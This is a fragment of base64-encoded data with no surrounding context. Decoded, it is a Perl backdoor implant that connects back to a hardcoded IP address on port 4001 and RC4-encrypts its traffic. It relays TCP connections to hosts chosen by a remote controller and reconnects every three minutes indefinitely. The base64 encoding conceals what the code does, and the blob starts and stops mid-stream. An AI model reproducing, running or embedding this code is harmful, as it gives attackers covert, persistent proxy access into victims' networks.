CwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjgnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwL